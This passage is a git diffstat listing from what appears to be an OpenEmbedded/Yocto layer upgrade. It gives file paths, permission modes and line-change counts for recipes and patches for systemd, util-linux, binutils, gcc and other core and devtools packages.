-rw-r--r--meta/recipes-core/readline/readline-8.1/rl-native.map (renamed from meta/recipes-core/readline/readline-8.0/rl-native.map)0
-rw-r--r--meta/recipes-core/readline/readline.inc13
-rw-r--r--meta/recipes-core/readline/readline_8.0.bb7
-rw-r--r--meta/recipes-core/readline/readline_8.1.bb7
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb6
-rw-r--r--meta/recipes-core/systemd/systemd-boot_246.6.bb70
-rw-r--r--meta/recipes-core/systemd/systemd-boot_249.7.bb74
-rw-r--r--meta/recipes-core/systemd/systemd-bootconf_1.00.bb6
-rw-r--r--meta/recipes-core/systemd/systemd-compat-units.bb8
-rw-r--r--meta/recipes-core/systemd/systemd-conf/wired.network4
-rw-r--r--meta/recipes-core/systemd/systemd-conf_1.0.bb43
-rw-r--r--meta/recipes-core/systemd/systemd-conf_246.1.bb38
-rw-r--r--meta/recipes-core/systemd/systemd-machine-units_1.0.bb4
-rw-r--r--meta/recipes-core/systemd/systemd-serialgetty.bb22
-rwxr-xr-xmeta/recipes-core/systemd/systemd-systemctl/systemctl35
-rw-r--r--meta/recipes-core/systemd/systemd.inc7
-rw-r--r--meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf6
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch162
-rw-r--r--meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch411
-rw-r--r--meta/recipes-core/systemd/systemd/0001-logind-Restore-chvt-as-non-root-user-without-polkit.patch227
-rw-r--r--meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch7
-rw-r--r--meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch29
-rw-r--r--meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch136
-rw-r--r--meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch29
-rw-r--r--meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch24
-rw-r--r--meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch80
-rw-r--r--meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch58
-rw-r--r--meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch265
-rw-r--r--meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch343
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch153
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch153
-rw-r--r--meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch19
-rw-r--r--meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch104
-rw-r--r--meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch95
-rw-r--r--meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch98
-rw-r--r--meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch32
-rw-r--r--meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch60
-rw-r--r--meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch97
-rw-r--r--meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch32
-rw-r--r--meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch28
-rw-r--r--meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch60
-rw-r--r--meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch24
-rw-r--r--meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch38
-rw-r--r--meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch28
-rw-r--r--meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch23
-rw-r--r--meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch37
-rw-r--r--meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch392
-rw-r--r--meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch58
-rw-r--r--meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch171
-rw-r--r--meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch34
-rw-r--r--meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf11
-rw-r--r--meta/recipes-core/systemd/systemd/selinux-hook-handling-to-enumerate-nexthop.patch46
-rw-r--r--meta/recipes-core/systemd/systemd_246.6.bb732
-rw-r--r--meta/recipes-core/systemd/systemd_249.7.bb791
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab/start_getty44
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb12
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch2
-rwxr-xr-xmeta/recipes-core/sysvinit/sysvinit/rc9
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/rcS-default7
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/realpath.patch2
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_2.97.bb112
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_3.00.bb117
-rw-r--r--meta/recipes-core/udev/eudev/permissions.rules6
-rw-r--r--meta/recipes-core/udev/eudev_3.2.10.bb97
-rw-r--r--meta/recipes-core/udev/eudev_3.2.9.bb96
-rw-r--r--meta/recipes-core/udev/udev-extraconf_1.1.bb12
-rw-r--r--meta/recipes-core/update-rc.d/update-rc.d_0.8.bb4
-rw-r--r--meta/recipes-core/util-linux/util-linux-libuuid_2.37.2.bb16
-rw-r--r--meta/recipes-core/util-linux/util-linux.inc40
-rw-r--r--meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch27
-rw-r--r--meta/recipes-core/util-linux/util-linux/ptest.patch15
-rw-r--r--meta/recipes-core/util-linux/util-linux/run-ptest23
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.36.bb359
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.37.2.bb320
-rwxr-xr-xmeta/recipes-core/volatile-binds/files/mount-copybind26
-rw-r--r--meta/recipes-core/volatile-binds/volatile-binds.bb10
-rw-r--r--meta/recipes-core/zlib/zlib_1.2.11.bb4
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch8
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch48
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch4
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch35
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch48
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch10
-rw-r--r--meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch32
-rw-r--r--meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch37
-rw-r--r--meta/recipes-devtools/apt/apt/0001-srvrec-Keep-support-for-older-resolver.patch44
-rw-r--r--meta/recipes-devtools/apt/apt/0001-test-libapt-do-not-use-gtest-from-the-host.patch40
-rw-r--r--meta/recipes-devtools/apt/apt_1.8.2.1.bb107
-rw-r--r--meta/recipes-devtools/apt/apt_2.2.4.bb137
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb18
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2021.02.19.bb17
-rw-r--r--meta/recipes-devtools/autoconf/autoconf.inc82
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch101
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch26
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch114
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch38
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch33
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch34
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/config_site.patch40
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch24
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/no-man.patch21
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/performance.patch60
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/preferbash.patch39
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/program_prefix.patch37
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch29
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.69.bb31
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.71.bb81
-rw-r--r--meta/recipes-devtools/automake/automake.inc2
-rw-r--r--meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch83
-rw-r--r--meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch60
-rw-r--r--meta/recipes-devtools/automake/automake/python-libdir.patch88
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.2.bb44
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.5.bb42
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.35.inc47
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.37.inc37
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian.inc2
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian_2.37.bb (renamed from meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb85
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.37.bb81
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross_2.37.bb (renamed from meta/recipes-devtools/binutils/binutils-cross_2.35.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb13
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.37.bb13
-rw-r--r--meta/recipes-devtools/binutils/binutils.inc31
-rw-r--r--meta/recipes-devtools/binutils/binutils/0001-aarch64-Return-an-error-on-conditional-branch-to-an-.patch135
-rw-r--r--meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch17
-rw-r--r--meta/recipes-devtools/binutils/binutils/0001-elf-Discard-input-.note.gnu.build-id-sections.patch215
-rw-r--r--meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch10
-rw-r--r--meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch21
-rw-r--r--meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch44
-rw-r--r--meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch13
-rw-r--r--meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch14
-rw-r--r--meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch11
-rw-r--r--meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch129
-rw-r--r--meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch60
-rw-r--r--meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch409
-rw-r--r--meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch25
-rw-r--r--meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch50
-rw-r--r--meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch2169
-rw-r--r--meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch7
-rw-r--r--meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch7
-rw-r--r--meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch15
-rw-r--r--meta/recipes-devtools/binutils/binutils/0017-bfd-Close-the-file-descriptor-if-there-is-no-archive.patch234
-rw-r--r--meta/recipes-devtools/binutils/binutils/0017-gas-improve-reproducibility-for-stabs-debugging-data.patch35
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.35.bb65
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.37.bb69
-rw-r--r--meta/recipes-devtools/bison/bison_3.7.3.bb37
-rw-r--r--meta/recipes-devtools/bison/bison_3.8.2.bb54
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch2
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch68
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb44
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-btrfs-tools-include-linux-const.h-to-fix-build-with-.patch42
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_5.15.1.bb72
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_5.9.bb52
-rw-r--r--meta/recipes-devtools/cargo/cargo-cross-canadian.inc74
-rw-r--r--meta/recipes-devtools/cargo/cargo-cross-canadian_1.57.0.bb6
-rw-r--r--meta/recipes-devtools/cargo/cargo.inc56
-rw-r--r--meta/recipes-devtools/cargo/cargo_1.57.0.bb4
-rw-r--r--meta/recipes-devtools/ccache/ccache_3.7.11.bb32
-rw-r--r--meta/recipes-devtools/ccache/ccache_4.5.1.bb26
-rw-r--r--meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb1
-rw-r--r--meta/recipes-devtools/chrpath/chrpath_0.16.bb4
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.18.4.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.22.1.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake.inc7
-rw-r--r--meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch6
-rw-r--r--meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch122
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.18.4.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.22.1.bb53
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch17
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_0.16.1.bb34
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_0.17.7.bb40
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb17
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb18
-rw-r--r--meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb5
-rw-r--r--meta/recipes-devtools/devel-config/distcc-config.bb3
-rw-r--r--meta/recipes-devtools/devel-config/nfs-export-root.bb2
-rw-r--r--meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch24
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.63.bb31
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.64.bb27
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.3.3.bb88
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.4.bb88
-rw-r--r--meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch34
-rw-r--r--meta/recipes-devtools/distcc/files/fix-gnome.patch122
-rw-r--r--meta/recipes-devtools/distcc/files/separatebuilddir.patch33
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode_3.3.bb1
-rw-r--r--meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch8
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.10.0.bb91
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.4.0.bb90
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch2
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb2
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb6
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.1.bb32
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.2.bb28
-rw-r--r--meta/recipes-devtools/dpkg/dpkg.inc49
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch10
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch2
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.20.5.bb23
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.21.1.bb23
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb5
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c13
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs.inc16
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch26
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch55
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch27
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-tests-u_direct_io-expect-correct-expected-output.patch69
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch4
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch17
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch6
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb143
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.4.bb141
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.181.bb154
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.186.bb166
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch45
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch54
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch8
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch4
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch124
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch32
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch26
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch6
-rw-r--r--meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0002-musl-libs.patch142
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch6
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-musl-utils.patch91
-rw-r--r--meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch42
-rw-r--r--meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch36
-rw-r--r--meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch16
-rw-r--r--meta/recipes-devtools/elfutils/files/ptest.patch61
-rw-r--r--meta/recipes-devtools/elfutils/files/run-ptest2
-rw-r--r--meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch26
-rw-r--r--meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb25
-rw-r--r--meta/recipes-devtools/expect/expect/01-example-shebang.patch144
-rw-r--r--meta/recipes-devtools/expect/expect_5.45.4.bb14
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch99
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch7
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb35
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb36
-rw-r--r--meta/recipes-devtools/file/file_5.39.bb55
-rw-r--r--meta/recipes-devtools/file/file_5.41.bb54
-rw-r--r--meta/recipes-devtools/file/files/0001-src-compress.c-correct-header-define-for-xz-lzma.patch27
-rw-r--r--meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch32
-rw-r--r--meta/recipes-devtools/flex/flex_2.6.4.bb24
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.2.inc119
-rw-r--r--meta/recipes-devtools/gcc/gcc-11.2.inc121
-rw-r--r--meta/recipes-devtools/gcc/gcc-common.inc11
-rw-r--r--meta/recipes-devtools/gcc/gcc-configure-common.inc25
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian.inc27
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross-canadian_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross.inc20
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-crosssdk_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-multilib-config.inc34
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime.inc142
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-runtime_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers.inc66
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_10.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-source_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-source_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-target.inc63
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch138
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch2282
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-aarch64-Fix-up-__aarch64_cas16_acq_rel-fallback.patch66
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch202
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch10
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch1765
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch607
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch86
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch103
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch142
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch658
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch70
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch33
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch304
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch573
-rw-r--r--meta/recipes-devtools/gcc/gcc/0005-optional-libstdc.patch124
-rw-r--r--meta/recipes-devtools/gcc/gcc/0006-COLLECT_GCC_OPTIONS.patch35
-rw-r--r--meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch63
-rw-r--r--meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch16
-rw-r--r--meta/recipes-devtools/gcc/gcc/0008-fortran-cross-compile-hack.patch43
-rw-r--r--meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch60
-rw-r--r--meta/recipes-devtools/gcc/gcc/0010-MIPS64-Default-to-N64-ABI.patch54
-rw-r--r--meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch60
-rw-r--r--meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch47
-rw-r--r--meta/recipes-devtools/gcc/gcc/0013-Disable-sdt.patch110
-rw-r--r--meta/recipes-devtools/gcc/gcc/0014-libtool.patch2
-rw-r--r--meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch4
-rw-r--r--meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch14
-rw-r--r--meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch2
-rw-r--r--meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch225
-rw-r--r--meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch74
-rw-r--r--meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch2
-rw-r--r--meta/recipes-devtools/gcc/gcc/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc/0022-aarch64-Add-support-for-musl-ldso.patch25
-rw-r--r--meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch10
-rw-r--r--meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch219
-rw-r--r--meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch8
